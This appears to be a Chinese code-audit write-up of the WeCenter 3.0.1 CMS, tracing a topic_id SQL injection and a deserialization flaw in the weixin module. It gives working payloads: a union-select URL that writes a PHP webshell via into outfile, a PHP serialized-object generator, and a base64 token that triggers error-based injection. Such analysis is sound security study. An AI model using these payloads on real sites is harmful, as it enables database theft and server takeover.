WeCenter代码审计
WeCenter代码审计
针对WeCenter 3.0.1的老版本作代码审计，学下mvc架构）
概览
- 全局的防注入函数，没毛病。不过假如数据库编码为
gbk时，可用宽字节搞一波
> 用了mysql_real_escape_string，我们需要在执行sql语句之前调用一下mysql_set_charset函数，设置当前连接的字符集为gbk。否则仍然不能抵御宽字符注入。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
# /system/aws_model.inc.php->quote /** /system/aws_model.inc.php#997 */ <?php .... /** * 添加引号防止数据库攻击 * * 外部提交的数据需要使用此方法进行清理 * * @param string * @return string */ public function ($string) { if (is_object($this->db())) { $_quote = $this->db()->quote($string); if (substr($_quote, 0, 1) == "'")//去掉首位的引号 { $_quote = substr(substr($_quote, 1), 0, -1); } return $_quote; } if (function_exists('mysql_escape_string')) //This function was deprecated in PHP 4.3.0, 被废弃 { $string = @mysql_escape_string($string); } else { $string = addslashes($string); } return $string; } |
- cookie前面的三个字母前缀
G_COOKIE_PREFIX，其实是cms自动生成的随机盐, 理论上这个值在不同的网站中必然不同
框架扫描1：gaudit
采用这套名为[gaduit](https://github.com/wireghoul/graudit/)的框架，对源代码进行静态扫描，排除了js和sql文件
|
1 2 3 |
root@localhost:/opt/graudit# ./graudit -A -x *.js,*.sql ~/downloads/wecenter-3.0.1/ |
0x01 /app/topic/ajax.php #70 topic_id参数sql注入
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
public function question_list_action() { if ($_GET['feature_id']) { if ($topic_ids = $this->model('feature')->get_topics_by_feature_id($_GET['feature_id'])) { $_GET['topic_id'] = implode(',', $topic_ids); } } switch ($_GET['type']) { case 'best': $action_list = $this->model('topic')->get_topic_best_answer_action_list($_GET['topic_id'], $this->user_id, intval($_GET['page']) * get_setting('contents_per_page') . ', ' . get_setting('contents_per_page')); break; |
问题就出在$action_list = $this->model('topic')->get_topic_best_answer_action_list($_GET['topic_id'], $this->user_id, intval($_GET['page']) * get_setting('contents_per_page') . ', ' . get_setting('contents_per_page'));
直接将$_GET['topic_id']传入了get_topic_best_answer_action_list函数，跟进get_topic_best_answer_action_list
发现只对$topic_id进行了打散、合并的操作，相当于什么事情都没做，更不要说对sql语句进行过滤了
ref:漏洞标题： WeCenter SQL注射（ROOT SHELL）
|
1 2 |
/?/topic/ajax/question_list/type-best&topic_id=1) union select '<?php phpinfo();?>' into outfile 'C:/shell.php'# |
框架扫描2：seay代码审计系统
0x02 /app/m/weixin.php #115 反序列化导致sql执行
参考了奶权师傅这篇文章里的叙述，对整个过程进行下分析
由于SQL语句的执行发生在析构函数__destruct()中，并且_shutdown_query没有被静态关键词static修饰。于是很自然可以想到利用反序列化的方式，重置$this->_shutdown_query的值。
首先/app/m/weixin.php #115存在可控的反序列化点。ps:反序列化会将字符串转换为对象。对象被创建时，会自动调用构造函数__construct；而对象被销毁时（如程序运行结束），会自动调用析构函数__destruct
那么我们找找能利用的析构函数，/system/aws_model.inc.php中，query函数对_shutdown_query变量进行了遍历，跟进query函数
query函数对$sql未加过滤，直接带入数据库中执行
因为没对_shutdown_query变量使用static修饰符进行修饰，因此_shutdown_query变量可以被我们控制
所以这就直接导致了任意sql代码的执行
构造payload的代码如下
|
1 2 3 4 5 6 7 8 9 10 11 |
<?php class AWS_MODEL{ private $_shutdown_query = array(); public function __construct(){ $this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)'; } } echo base64_encode(serialize(new AWS_MODEL)); ?> |
具体利用，看这段乌云上的payload，报错注入
|
1 2 3 4 5 |
/?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D //响应 Database error ------ SQL: SELECT updatexml(1,concat(0xa,user()),1) Error Message: Mysqli prepare error: XPATH syntax error: ' root@localhost' |